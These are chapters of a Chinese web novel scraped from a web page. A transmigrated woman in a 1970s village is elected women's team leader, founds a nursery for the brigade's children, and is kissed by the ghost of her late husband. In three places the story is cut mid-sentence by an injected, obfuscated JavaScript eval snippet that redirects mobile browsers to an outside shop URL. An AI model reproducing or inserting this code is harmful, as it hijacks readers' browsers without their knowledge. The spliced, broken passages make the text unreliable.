钟颖混迹在人群中,像在大学听校方开会时那样偷偷开小差,掏出兜里还没看的信,撕开信封拿出里面的信纸。 足足四页纸,每张信纸的文字都是力透纸背,透露出写信人书写时愤慨的情绪。 钟颖不怀疑,这如果是魔法世界,她收到的恐怕就是一封她哥寄来的吼叫信了。 她快速阅读了纸上的文字,虽然字很多,但归纳来说就一个意思,全是她哥的质问,两条腿的男人在部队那地方就像春风吹又生的野草,一茬接一茬,都不值钱,怎么钟颖就非要嫁给李霖时去受那活寡,钟诚简直要被不省心的妹妹给气死了。 钟颖看完信心中只有庆幸,还好这时代车马慢,消息传递要靠龟速的书信,还好她搞事情的时候她哥的探亲假已经休完了,不然她还真不能那么顺利的达成目的。 鬼缠着不让嫁人?钟诚怕是直接会把妹妹打包带走,找个靠谱战友把妹妹嫁了,什么鬼不鬼的,社会主义的光辉会打倒一切牛鬼蛇神。 “……大家常年生活在一起,每个人的言行举止都在社员眼皮子底下,相信各人心里都有数,那我们现在就开始选举,拟举出候选人后,大家举手表决,得票最多的那个人当选。如果只有一人参与竞选,那么得票超过半数就算通过。”李明说道,“还是从生产队长这个职位开始。” 立刻有人扬声,“这还得你来继续当啊!” 附议的声音很多,大家都没有意义,也没有第二个人站出来主动请缨。 钟颖也没什么异议,随大流的跟着旁边的人一起举手赞同。 全员三十六票通过,李明继续担任同甘生产队的队长一职。 “感谢大家伙儿对我的信任。”李明面对众人鞠了一躬。 接下来的保管员、饲养员也维持不变,还是李钢时、聂金凤两人,毕竟他们工作上表现良好,没出过什么岔子。 到了选记分员,原来干这活的范五连连摆手,“可放过我吧,我年纪上来了,真的是再干不了这动脑子算数的活儿了。” 去年范五好不容易才退位让贤,把记分员这烫手山芋丢给了返乡的李霖时,刚轻快了没有半个月,意外横生,这工作又落回到了他身上。今年他是怎么都不想干了,费脑子老得快啊,他白头发都长了半头了。 “你不当谁来当啊?”胡打听嚷着。 有人附和,“就是就是……” “工分、工分,社员命根”,记分员可是生产队里至关重要的岗位,要求具备较高的文化水平,要能识字、算账; 而且记分员的工作任务也比较重,每天为出勤社员登记当天的工分;每月将每日记录汇总成《工分统计表》,登记到个人工分折上,不能出现错漏;年终时候要提供全年共分数据,配合生产队队长计算每人应得粮食、现金,参与分粮工作…… 这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653646|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作范五已经做了二十多年,他实在是不想继续干了。 李明拧眉,他知道范五想要退下来的心思,去年范五就找他谈过,见众人七嘴八舌就要把范五再架上去,他站出来,“老五劳心劳力也干了这么些年了,现在年纪大了想退下来也无可指摘。” 人们这才消停下来。 李明继续说,“现在有人觉得自己能够胜任这份记分员的工作吗?” 这工作得要有文化的人来做才行,同甘生产队还是在李明当了队长之后才重视起读书这件事,除了这一代年轻人读过村小,再往上数一辈,能认得自己名字就不错了,更别提什么给整个生产队的社员记工分。 年轻一代里,还是要属李霖时最出彩,但现在人没了……剩下的小孩们真就应了那句话,矮子里面拔将军,难挑。 这时候当爹娘的不免心中有些后悔,早知道就像李队长那样好好督促娃学习了。 一直没放松孩子学习的李明看了看他大儿子,李钢时要是能做记分员早就做了,而不是退而求其次,做了保管员;老二李荣时……李明默默移开了目光,虎生三子,必有一彪。 钟颖默默把信收起来,没吭声,虽然原来的“钟颖”想要嫁给李霖时、抢走他记分员的工作,但现在的钟颖对这活儿没什么兴趣,她就想当个咸鱼。 人们左看看右看看,最后只能无奈的看向那几名知青。 程彬上前一步,“如果乡亲们愿意信任一下我,我愿意出力。” 也没别人可以选了,最终新一任记分员变成了程知青。 有人已经以为这就结束了,准备抬脚往耕地那边走去干活,却听李明又继续说道,“还有妇女队长,这个空置了许久的职位,我认为今年也可以选上人来当了。” 同甘生产队的社员们面露吃惊,因为一直没有合适的人选,他们都快忘记还有这么一个职位存在了。 李明决定再推一把,“我推荐妇女积极分子钟颖作为候选人。” 被所有人目光锁定的钟颖一个激灵,猛地抬头,露出脸上惊讶的神情,等等,什么情况? “我投一票!”被钟颖帮助解决了婚事的钟妮立刻举起手来,飘在她身旁半空中的女鬼曹芳也把手举高,哪怕人们并不能看到她。 不再被家暴的刘家大儿媳吴玲也很快举起手来。 周家退亲,是钟颖站在前面反怼回去,范二妮立刻拉着她爹范五、她娘聂英一起举手,她又看了一眼妹妹范招娣。在二姐的眼神示意下,范招娣只得举起手来。 范大妮还记得自己生产时钟颖来帮了忙,于是她也举起了手。 前不久知青点发生的事情还历历在目,陈丽娜率先抬起手来,接着是杨美娟、仇玉才、程彬,四个知青都举手投了一票。 邓霞、钟春生、苗素云当然要给自家人投票。 聂金凤想着钟颖之前随口提过的一句话,思索片刻也举起了手,李荣时无脑跟媳妇,紧接着抬手。 田梅占了做饭的事,心里多少还是有些羞愧,想着弟妹如果真做了这个妇女队长,也算是有事情做了,于是她也举了手。 李钢时只当卖了个好给钟颖,跟着爹娘一起举手。 胡打听举起了手,三姑婆举起了手,林淑红抬手…… 钟颖更加吃惊,为什么大家会愿意给她投票? 虽然不解,但钟颖看着一只只举起的手难免有些触动,仿佛看到星星之火一点点亮起。 所以在李明统计完,三十六名参与选举的社员中有二十六人投了赞同票,超过半数,钟颖当选成为同甘生产队新的妇女队长时,即使过去因为她爸醉心权势而心生憎恶,钟颖也没有出声推脱。 不知道是哪个女子先鼓起掌来,但很快掌声连成一片。 李霖时远远看着成为人群中焦点的钟颖,也抬起手来,为她鼓掌。 50. 妇女队长 在李明把新一届领导班子名单上报公社批准后,钟颖就这样正式成为了同甘生产队里的妇女队长。 经过李明简短的“上岗培训”,钟颖也大概明白了这个岗位都需要做些什么。 妇女队长,顾名思义,组织和带领本队妇女们的队长,一切和妇女相关的事情都归妇女队长管,包括但不限于协助生产队队长向妇女们传达分工安排、监督劳动;调解妇女在婚姻、家庭、邻里关系中的纠纷;关注妇女们的身体健康、维护妇女权益等等…… 当然最重要的一点是以身作则,做好带头示范作用,这意味着钟颖不能再做咸鱼了。 钟颖痛苦的裹着被子在床上翻滚,不愿起床面对现实。 空气中水汽涌动,李霖时凭空出现在屋子里,向后倚靠,和钟颖差不多高的衣柜上沿抵在他的肩膀后面。 只是看着床上的“白色大蚕蛹”,李霖时的唇角就不由得勾起,有时候他想想都会觉得不可思议,怎么会喜怒哀乐系于一人身上,看见她就欢喜,又总能被她轻易惹恼。 李霖时大概能猜到钟颖的想法,看她这样烦恼,忍不住开口,“不想当的话也可以反悔,我爹虽然看着严肃,但其实没那么难说话。” “大蚕蛹”向侧边无力的一倒,从被子里冒出个脑袋来,钟颖顶着乱糟糟的一头黑色长发,双眼无光,“可是我被拿捏住了……” 李霖时不解,接着就见钟颖看过来,直直的盯着他。 “你爹不愧是当了这么些年生产队队长的人,”钟颖颇有些幽怨,“他可真懂怎么在驴子头上挂萝卜这招。” 钟颖深吸了一口气,拥着被子坐起身来,她确实后来又产生了推拒的想法,但架不住“诱惑”摆到她面前。 李明其实也不过是随口多提了一嘴,和小儿媳交代完妇女队长的职责任务后,他想起之前钟颖在饭桌上曾问过的话,就多说了一句,“你不是之前问金龙他媳妇能不能去参加医疗培训班吗,这事你要是想管,作为妇女队长可以去做下她的思想工作,要是他媳妇愿意,两口子的名字我就一起报上去。” 同甘生产队的管理架构简单,妇女队长也是村干部之一,拥有参与生产队事务决策的话语权。 钟颖就这样被“钓”住了。 不做这个妇女队长,钟颖确实是可以继续乐得悠闲。 但…… 明知道一件事如果做了是有利的,甚至可以预想到将会带来长远的良好影响。 钟颖自己是没打算生孩子,但生产队里还有那么多女人。 想起范大妮生产的血色、想起因难产年纪轻轻就变成鬼的大伯娘…… 钟颖又一头蒙进被子里。 “独善其身”,说得容易做起来难,毕竟人是有着感情的群居动物。 钟颖咬咬牙,狠下心来。 做! 不就是做妇女队长吗?她在现代时也是有勤勤恳恳认真工作过的。 钟颖又从被子里钻出来,轻轻吐出一口气,下定决心后,她目光清明,脸上不再有纠结。 这让李霖时构思了一肚子的安慰、鼓励之语没了用武之地,“你……” 钟颖也开口了,她面无表情的看着眼前的鬼,“你还不走?我该起床换衣服了。” 李霖时立刻有些尴尬,一句话没再多说就闪身离开。 —— 和其他村干部一样,妇女队长也是不脱产的,钟颖照常去上工,和普通社员一样参与劳作,只是年底会有一些额外的工分补贴。 随着春天气温的升高,田地里的小麦进入“拔节期”,需水需肥,还要打药防治虫害,春管繁忙,辛苦程度也就比收割时节能稍微好一些。 从甘霖河挑来的河水浇在绿色作物的根部,干土一下子洇湿,将水吸进去,留下被带出河里的黑色蝌蚪在泥面上挣扎,被母亲带在身边上工的小孩子兴致勃勃的去抓来玩。 忙活了一整天,直到傍晚时分下了工,钟颖才有时间去“搞事情”。 不过生产队的妇女们下了工也是一样的忙碌,做饭、洗衣、照看孩子…… 钟颖匆匆吃过晚饭就出门找人,辗转聂家、河边,最后她在村子后面的颖山脚下才找到姚东秀。 朦胧夜色下一大两小两道身影,大人左右两手各揪着一个孩子,一边说道,“玩疯了啊?天都黑了还不知道回家吃饭……” 钟颖试探的喊人,“大嫂子?” 姚东秀定睛看去,看清楚后吃了一惊,“颖妮儿?” 不怪姚东秀惊讶,钟颖过去和她来往并不多,只能说仅仅是彼此认识的关系。 姚东秀是盘坡口生产队嫁过来的,又和钟颖差了近十岁,不是一块儿长大的、又差着年纪,自然平时没什么深交。 钟颖的目光落到姚东秀牵着的两个孩子身上,就此作为破冰的话题,“小军和小勇去山里玩了?” “没,他们哪敢啊,之前山上的虎啸所有人都听到了,再给他们两个胆也不敢往山里跑。”姚东秀说着,两人之间的生疏感消散了些。 钟颖曾直面白虎,对此印象深刻,深有同感的点点头。 两个男孩挣脱了母亲的手,你追我赶的朝家的方向跑,钟颖和姚东秀跟在他们后面。 “嫂子,公社要办合作医疗培训班的事情你知道了吧?”钟颖终于引到她想说的话题上。 姚东秀点头,“知道啊,你大哥来找我家那口子说过了,他会去好好学的。” 钟颖侧头去看她,“那嫂子你呢?你也是有医术底子的,你想再去学习一下吗?” 姚东秀意外,随即想听到了什么笑话一样,失笑说道,“我?我哪有什么功夫啊,这俩混小子——” 她指着跑在前面的两个身影,又接着说,“还有家里两个丫头,四个孩子就够我忙活的了。” 姚东秀今年三十一岁,已经有四个孩子了,最大的八岁,最小的才一岁半。 “每天我两眼一睁就是照顾了大的、照顾小的,等你——”姚东秀本想说“等你有了孩子就知道这滋味了”,但又想到钟颖是“抱主成亲”,寡妇身份这辈子八成都不会有孩子了,她连忙把后半句话咽下去,不想触及对方的伤心处。 钟颖也把打好腹稿的话都咽了回去,她在这时候谈什么女性的事业、人生的追求,都像是站着说话不腰疼。 她知道,当一个人被无穷无尽的事情包裹住的时候,是没有精力再去想别的东西的。 就像钟颖现代时困于996的工作便不想再花时间、精力去谈恋爱,就像姚东秀围着孩子、家庭转,明明有才能,却无暇思考自身的提升。 两人一时无话,不知不觉就走到了聂家门口,聂小军和聂小勇两个孩子已经率先跑进了家门。 姚东秀在门口站定,“颖妮儿,那我先回家了,天这么黑,你路上小心,要不我进屋给你拿根蜡烛吧。” 说着,她就要转身往里面走。 钟颖连忙回过神来拦住她,“不用,嫂子,我能看清路。” 一番推让过后,姚东秀才作罢。 钟颖一个人朝村口走,但又不是一个人。 李霖时在她旁边,张了张嘴,还是问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657859|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“你不是想劝说聂大嫂子和金龙哥一起去医疗培训班学习,为什么没说?” “因为我突然发现说了也是白说。”钟颖发愁,“这里存在一个根源问题,如果不从家庭中解脱出来,女性很难去搞什么事业。” “围困于灶台厨房间,照看一个个孩子,做不完的家务活……已经像陀螺一样在无休止的转动了,你不能再要求她做更多了。” 李霖时沉默不语,回想着记忆中的他娘刘红艳,他才发现,确实如钟颖所说的那样,他几乎在回忆中搜寻不到他娘有什么休息的时候,她不知疲倦的操持着家务、缝补着孩子们的衣服、纳着鞋底、去河边洗衣服、到地里干活…… 他过去怎么会视若无睹,仿佛他娘做这些事情好似理所应当。 李霖时抿紧了唇,喉咙间仿佛哽住了一般。 半晌后,李霖时才平复好心情,声音暗哑的开口,“那你要放弃吗?” 钟颖刚刚一直在思索,想都没想的回道,“当然不。” 她拿钥匙开了自家门上的锁,一开门红糖兴奋的扑上前迎接。 钟颖应付着热情的大黑狗,进了院子把门从里面又锁好,这才继续和李霖时说话,“现在城市里应该已经有了吧,托儿所,你知道吗?我记得过去那些工厂为了让女工们安心工作,会开办职工托儿所,将孩子们集中托管,为女性工作解决后顾之忧。” 李霖时确实有听说过这种事,“你是想……” “我是想在生产队里也建立托儿所,”钟颖说,“这样不只是聂大嫂子,生产队里其他女性也能透口气,有时间精力可以去思考,无论是投身于地里搞生产、还是学门手艺做个副业,都是好的。” 钟颖说干就干,积极开始调研、制定计划,很有章程的筹划着,打算制定好一份完整的方案再拿去和生产队队长说。 当下一家都是好几个孩子,育儿压力又基本压在当娘的人身上,钟颖留意观察了几天,背着孩子上工的媳妇比比皆是,孩子多的女人甚至分身乏术,有时还会顾不上地里的事,这年头的女人活得辛苦。 托儿所的地点,钟颖也有些想法,村小不是空着吗,正好拿来再利用一下。 她又统计了生产队里各家各户的孩子们,像她弟钟信这样十四、五岁的青少年,农村人早熟懂事,十来岁的孩子就会被当成半个劳力带去地里干活;需要集中托管的就是十岁以下的孩子,这些孩子们又可以分成两拨,小一些的主要以照看为主,大一些的可以学习着认字了…… 钟颖在纸上写写画画,重新翻了一页,写下“小班”和“大班”两个字。 甘霖河边,曹芳闲来无事找李霖时聊天,做鬼就一点不好,人看不见听不见,没法沟通。 十几年的时间,曹芳憋的都只能自说自话,好在现在生产队里不是只有她一个鬼了,她还能找别的鬼说说话。 “你结了婚还在河里住啊?”曹芳一开口,第一句话就如利箭扎进李霖时的心。 接着,曹芳打量了他一眼,颇有些欣慰,“颖妮儿终于放弃给你穿那些奇装异服啦?” 李霖时垮下脸,低头看向身上的衣服,他身上还是那一身灰色布褂、黑色长裤,自打那天早晨后,钟颖再没给他换过别的衣服。 钟颖这些日子忙着她的大事,根本无暇他顾。 李霖时总觉得曹芳的话听在他耳朵里,不像是说的衣服,而是说的是他。 钟颖不是终于放弃了给他穿那些奇怪衣服,而是放弃了他。 李霖时忍不住冷笑一声,她现在怕是忙得都忘记他的存在了。 51. 风动心乱 曾经做过卷王的人,一旦下定决心要做成什么事,便会朝着目标一往无前。 趁着晚饭前的空档,钟颖找到李明,“李队长,我有事情想和你说。” 彼时李明正坐在院门口的小板凳上,手里正在往旱烟袋里装烟丝,听到钟颖的话,他撩起眼皮看去,“不喊爹,而是叫李队长,是要说正经事啊。” 钟颖点点头,“对。” 李明拿着还没点的旱烟袋站起身来,“那去堂屋说吧。” 一旁的李钢时自觉正经事怎么能少了他的份儿,也跟着两人进屋。 进了屋子,各人坐下,钟颖才开口正色道,“我想在生产队里办一个托儿所,将十岁以下儿童组织起来一起照看,让女人们能够抽出身来搞生产。” 李明还没有什么反应,旁听的李钢时先笑了。 “弟妹,你搞这干啥?自古以来女人就是要照顾孩子的,哪用得着另外办一个托儿所?”李钢时是真的觉得好笑,“可以理解你新官上任三把火,但没必要,这事真没必要。” 钟颖咬紧后槽牙,她看向李钢时,火有点上来了,怎么会明明是亲兄弟,眼前这个却这么讨人厌。 不过她还没把事情说完,没工夫和李钢时吵架。 钟颖努力无视掉他,继续说道,“像大嫂、二嫂这样孩子还小的妇女,照看着孩子的同时干活,效率其实并不高,爹你也清楚,她们这样子一天能干几个工分。” 李明作为生产队队长,自然心里门清。 “所以,如果帮助妇女们减轻了育儿压力,让她们能有更多的时间、精力投身于生产建设中。”就像李明一下子在她头上吊了根萝卜一样,钟颖思来想去,回敬了“一根萝卜”。 李明果然眸色微动,被搔到了痒处,怎样搞生产、怎样搞好生产,这是他一生的奋斗目标。 钟颖继续添柴加火,“‘妇女能顶半边天’,解放妇女生产力有益无害,女性力量并不只是零星半点,不容小觑。” 李明倒是不像他身边大儿子那样短视,不把女人放在眼里,去公社开会时各个生产队的队长会互相交流,也曾提起过哪个生产队组建了一支女子突击队背砂整地,一点不输男人,又或者是哪个生产队新上任的队长是个才十几岁的小将,还是个女娃,但做出来的成绩不斐,是过去没有过的好收成…… “你打算怎么办这个托儿所?”李明问。 钟颖心中一喜,快速回答道,“十岁以下儿童根据年龄分成两个班,小班和大班。小班主要以照看为主,配合着讲讲故事唱唱歌;大班可以引入识字、算术……” 李明没说什么,只是又问,“在哪儿办?谁来照看孩子?” “村小打前年停办后便闲置下来,收拾一下就能再利用;我想让三姑婆和陈知青来负责小班,杨知青来负责大班,按同等劳动力记工分。”钟颖条理清晰的说道,她从不打没准备的仗。 “三姑婆年纪大了,即使每天去地里上工也出不了太多力,但年纪大阅历多,给孩子们讲古正好;两名女知青,虽然干农活生疏,但陈知青说话温柔,能够安抚年纪小的孩子们,而杨知青做事认真,一板一眼,正好能管住年纪大的孩子们。” 钟颖看来,有时候被嫌弃的人,如果放对位置,一样能发光发亮。 李钢时在一旁看着,见他爹和钟颖你一言我一语,虽然他爹没说同意,但这态度已经表明了同意钟颖去办什么托儿所。 “等等,这也太胡闹了……”李钢时插嘴道。 李明看了大儿子一眼,心里想叹气,最了解孩子的无非爹娘,他知道这个儿子盯着生产队队长的位置,就等他退下来接班,可脑子比起他弟弟差远了,墨守陈规,死板的还不如他这个五十多岁的人。 被自己爹瞟了一眼,明明没说一句重话,但李钢时还是识相的闭上了嘴。 李明又转头看向钟颖,“这事你牵头来办。” 钟颖双眸晶亮,洪亮的应了一声,“是!” —— 钟颖要搞事情,自家人二话不说就来帮忙,邓霞、钟春生、苗素云忙前忙后的打扫着村小的屋舍,钟颖她弟钟信扛来家里梯子修补着屋顶…… 至于生源问题,钟颖没有挨家挨户的去做思想工作,只是派出她娘邓霞去和胡打听唠了唠,没几天生产队的老少妇女就都知道了队里要办托儿所的事情。 眼看着距离六月农忙也就一个来月的时间,地里一忙起来那是真顾不上孩子,有个地方能把孩子一扔、安心去上工,倒是好事,谁不把孩子送去托儿所谁是傻子。 但即使这样,钟颖要忙的事情也有很多,托儿所的管理制度要制定、她看中的人才要一个个去谈…… 三姑婆喜欢和孩子们呆在一块儿,听钟颖说让她每天给孩子们讲讲故事,她很快就答应了。 陈丽娜本来干地里活就有些吃力需要别人帮忙,现在能换成带孩子这样更轻省的活计,她自然乐得一口应下。 未婚未育就是好骗,钟颖良心有些痛,陈丽娜现在觉得带孩子轻松,但带一个班的小孩……钟颖真怕她以后会哭。 “答应我了你不能反悔啊,不管怎么样都要坚持下去。”钟颖确认道。 陈丽娜坚定的点点头,“我不反悔,你可也别反悔啊。” 在两人都生怕对方会反悔的情况下,愉快达成了协定。 但在另一名女知青那儿,钟颖却碰了壁。 “保育员?”杨美娟拧眉,“不,我下乡是为了到国家和人民最需要的地方去滚一身泥巴,炼一颗红心的,而不是照顾孩子,这是偷懒!” 钟颖被她的固执弄得头痛,很想直言:姐妹,可你种地不行啊,你没有土灵根,实在不是这块料。 如果说陈丽娜是菟丝草型,那杨美娟就是越努力越心酸型,不是从小在农村长大,不懂耕作,干活熟练度也比不过本地社员,非较真做自己不擅长的事情。 “这不是偷懒,这叫合理利用资源。”钟颖反驳她,“你会读书识字,现下有机会,你应该利用你的长处,而不是死心眼的在短处上使劲儿。” 杨美娟有些松动,但很快又坚定地说,“不,越是艰难越要向前!” 钟颖:…… 无疾而终,天色黑沉,钟颖只能暂时放弃,匆匆回家洗漱休息。 等到躺在床上,钟颖总觉得自己好像忘记了什么,但这些天事情实在太多了,她想了想也没想起来,思绪又飘到了杨美娟身上。 钟颖闭着眼睛,构思着第二天再去找杨美娟做思想工作时该说什么话,想着想着,不知不觉间她就睡着了。 权利伴生着责任,钟颖实在是太累了。 屋子里漆黑一片,人和狗都睡得正香,被钟颖遗忘的李霖时无声无息的出现。 李霖时站在床边,静静看着床上的人。 天气升温,钟颖没有再想冬夜里那样紧紧裹在被子里,她侧身枕在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666851|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕头上,两只手露在被子外面,对落在身上的阴冷目光无知无觉。 精瘦挺拔的身体带着河水的湿气,胸膛却毫无起伏。 黑夜寂静,只有窗外风吹树枝发出轻轻的簌簌声。 李霖时想不通。 钟颖对他只有利用时,他恼怒愤恨。 但当她不再让他帮忙洗碗、不再需要他时,以为的松一口气并没有来,涌上的反而是慌乱、失措。 还有…… 被钟颖戏耍、玩弄,穿那些奇装异服,李霖时恼羞成怒。 但当她真的不再做这样的事了,李霖时也没有想象的那么高兴。 他不高兴。 “为什么不继续玩了……” 黑暗中一声宛若呢喃的问话很轻,仿佛水面上微微荡起的涟漪,却暗藏着压抑的诸多情绪。 没有用了,冷冽的河水再也不能像过去一样发挥作用,无论李霖时泡在里面待多久。 李霖时俯身蹲下,平放在床褥上的盈盈皓腕近在咫尺,他漆黑无光的眼眸将目光投过去,无视夜色影响,定定凝视着白皙皮肤下蜿蜒曲折的青色血管。 修长冰凉的手指慢慢的搭在上面,能清晰感受到血液在其中的流动。 这算不算世上最小的河流? 李霖时情难自已的用额头抵住,他想的是……他想待在这条河流里。 在她身体里流动,和她融为一体。 这样是不是就可以无时无刻在一起? 指下的“河流”伴随着一下下蓬勃的跳动,李霖时恍惚,仿佛自己那颗已经静止的心脏在此刻同频。 李霖时深吸了一口气,抬起头来,静静地望着床上酣睡着的人,目光好似能留下水痕般一寸寸掠过她的五官轮廓,纤巧的眉眼、鼻头圆润微翘、唇形饱满,随着绵长的呼吸微不可查的一张一合。 他的目光定住。 一种近乎食欲的欲望复苏。 李霖时死后,那些属于人的需求不复存在,他不再需要睡觉、不再需要吃饭喝水…… 但现在,他感受到了“食欲”。 如同被蛊惑一般,李霖时的视线一动不动。 他其实尝过。 在那个夜里,甘霖河水中。 李霖时把钟颖丢进河里,一报还一报,报复她曾拽他落水的行径。 那时他冷眼旁观,却没想到她会缠上来。 因为太过惊讶和意外,李霖时仍清楚记得自唇间传来的温热气息。 他的目光仿佛染上温度,逐渐升温。 睡梦中的钟颖却觉得有点冷,想要把手缩回被子里,却不成想没成功,她奇怪的睁开眼去看。 床边多了个男鬼这种事已经吓不到钟颖了,钟颖困到睁不太开眼,半眯着惺忪眼眸,她睡得有些迷糊了,皱了皱好看的眉,“你非得这时候跟我抢屋子吗?” 钟颖以为李霖时的出现是他又想要主屋了,她住哪间屋子都行,但是现在钟颖半睡半醒,整个人困得不行,根本不想爬起来换屋子。 已经休眠的大脑罢工,钟颖迷迷糊糊的一个主意涌上心头,她往床里面使劲挪了挪,空出些位置来,“你先上来凑合着睡,明天、明天我醒了再搬去旁边屋子……” 话说到最后已是接近呢喃,显然钟颖又睡着了。 李霖时站起身来,望着那空出来大半的床铺。 许久后,仿佛石雕般的身影终于动了,应了她的邀请。 52. 刺激 钟颖闭着眼睛把身上被子裹得更紧,枕着的枕头都带着凉意,她埋头更加缩到被子里,天气冷的时候就这点最不好,起床困难,每天早上离开被子都像是历劫。 等等。 逐渐苏醒的脑子终于开始运转。 明明现在已经不是冬天了,人间四月春暖花开,更何况眼下已经过了谷雨,立夏都不远了,怎么会是冷的? 钟颖睁开眼睛,对上咫尺之间的一双黑眸。 她与李霖时的视线交汇,侧着身子面对面躺在床上,如此近的距离,他的面容仿若放大的画作,可以清晰的看到每一处细节,像雪一般的苍白肤色与黑发形成鲜明对比,高挺的鼻梁和线条流畅的下颚,黑沉沉的眼眸仿佛镜子,倒映着此刻钟颖懵圈的脸。 钟颖眨了眨眼,眼下的情形实在是有些为难她刚刚“开机”的脑子了,什么情况啊?为什么这鬼和她睡在一张床上?怪不得她觉得冷,“空调”都搬到床上正对着散发冷气了,谁能不冷啊? 屋子里仍静悄悄的,时间一分一秒的过去,让这种对视逐渐变得有些暧昧。 钟颖感受到了,但她觉得这种不对劲的氛围主要还是要归咎于两点。 第一,糟糕的位置——床上。 第二,霍尔人际距离的概念中,0-0.5米的距离属于非常亲密的关系,显然她和李霖时现在顶多只有十厘米的距离,太近了。 钟颖不自在的想要往后仰身,拉开些距离。 李霖时并不需要睡觉,所以一直在看她,包括钟颖醒来后的每一个反应,她先是愣住,像是有些反应不过来,但过了一会儿,反应过来后却是想要退开—— 宛如一泓平静水面的眼眸瞬间掀起波澜。 钟颖又一次被李霖时伸手掐住,只不过这次掐的不是脖子,而是脖子上面的位置。 骨节分明的修长手指一只手就掐住了钟颖的下颌,制住了她后退的动作。 她退不了,但李霖时却俯身,做了他昨晚就想做的事。 钟颖顿时睁大了眼眸,唇上传来冰冷的触感。 为数不多的十厘米距离也荡然无存。 钟颖只觉自己大脑一下子宕机了。 不是,他怎么突然亲过来了? 李霖时仍紧盯着钟颖,眼眸微眯,在她抬手抵住他胸口试图用力前,他先一步发力。 掐在下颌处的指节收紧,钟颖下意识的张开嘴,唇上轻飘飘的像落下一片雪花的触碰瞬间变了味道,彻底深入,就像是湿滑的冰在舌间徘徊,不容分说的强势勾缠,动作倒是截然相反的炽热。 半晌后,钟颖才终于把李霖时推开。 她喘着气,耳廓也充血发红,心跳紊乱。 李霖时脸上倒是没太多变化,毕竟他已经是“静止”状态,只是隐忍的欲望让他俊美的眉眼间多了些旖旎色气。 钟颖开口,却是出乎李霖时预料的一句话。 “你要吃掉我的舌头吗?”钟颖惊疑不定的问,双眸中满是警惕。 李霖时在方才接吻时情不自禁扣住她后腰的手一僵,他咬牙,“我只是在……” 他有些羞于说出那些过分亲密的字眼,只能问道,“你怎么会这么想?” “哦,”钟颖放心了些,“我小时候看过一个鬼片,忘记剧情了,只有一个片段印象深刻,一男一女在车里接吻,然后女的把男的舌头咬下来了。” 李霖时:…… 钟颖努力忽视舌根仿佛还停留在刚刚激烈动作中的幻觉,既然李霖时不是想要咬掉她的舌头蓄意谋杀,那刚刚…… 她怎么想,好像能只能指向最简单的那个结论,刚刚就只是一个单纯的吻。 钟颖感觉自己脑子又要宕机了,就照李霖时过往那保守的性格,肯定不是像她一样激素上脑想搞涩涩,那他吻她的行为,只能是因情生欲。 “你该不会……”钟颖想着,嘴巴就这么问了出来,“你不会是喜欢上我了吧?” 温热的触感仿佛仍停留着,李霖时抿了下唇,“……嗯。” 他还是不太习惯直面自己的情感。 这时代的人情感总是压抑的、拘束的,孩子不会对爹娘说“我爱你”,丈夫不会对妻子说“我爱你”,仿佛这是什么羞于见人的东西,对此三缄其口。 钟颖吸了一口气,震惊的像偶像剧的观众似的,不是,怎么就喜欢上了?是漏看了哪一集? “你等等。”钟颖起身要坐起来,李霖时放开手,也克制的往后挪远了些,跟着坐起身来。 钟颖想不通,眉头轻蹙,纳闷的问,“你怎么会喜欢上我?” “我,”钟颖指着自己,很有自知之明,“自私自利、好逸恶劳、贪图享乐、唯利是图——” “你很好。”李霖时打断她的话,虽然钟颖确实不像她口中说得那样糟糕,但他难道不知她自私、狡黠、舌灿莲花吗?可她仍然在李霖时眼中是发着光的,他是真心的觉得钟颖很好,瑕不掩瑜,反而是构成她这个人非常鲜活的一部分。 钟颖不禁咬了下唇,她第二次从他口中听到这句话了,思绪一下子变得有点乱。 “你让我先好好想想。”钟颖扶额,“而且我本来想一大早再去找杨知青做她的思想工作的……” 拜一睁眼的这个“刺激”,钟颖感觉自己昨晚临睡前打好的腹稿已经忘了个七七八八。 李霖时颔首。 越界已经成为既定事实。 —— 四月底,阳光明媚的一天,闭门许久的村小再次开门,摇身一变,变成了同甘生产队的托儿所,一个个小豆丁被他们的爹娘送了过来。 钟颖看着他们,忍不住感叹,“不得不说,孩子就像地里的新苗,看着他们就仿佛看到了生机和希望。” 就像当初钟颖考虑后半辈子去哪儿“养老”,她其实也真的认真想过要不要嫁给李长贵,毕竟当时李霖时怎么都不同意,而李长贵已经去投胎了,不需要征询意见。 但钟颖最终还是死磕李霖时,就是因为李长贵家少了那么点“生机”。 同样是丧子,李长贵的爹娘困囿于失去独自的悲痛中久久无法自拔,仿佛阴云从未消散; 而李明家仍有两个儿子、还有下一代的孙子孙女,生是死的反面,能渐渐淡化伤痛。 所以钟颖即使现在被鬼缠住了,也不后悔当时的选择。 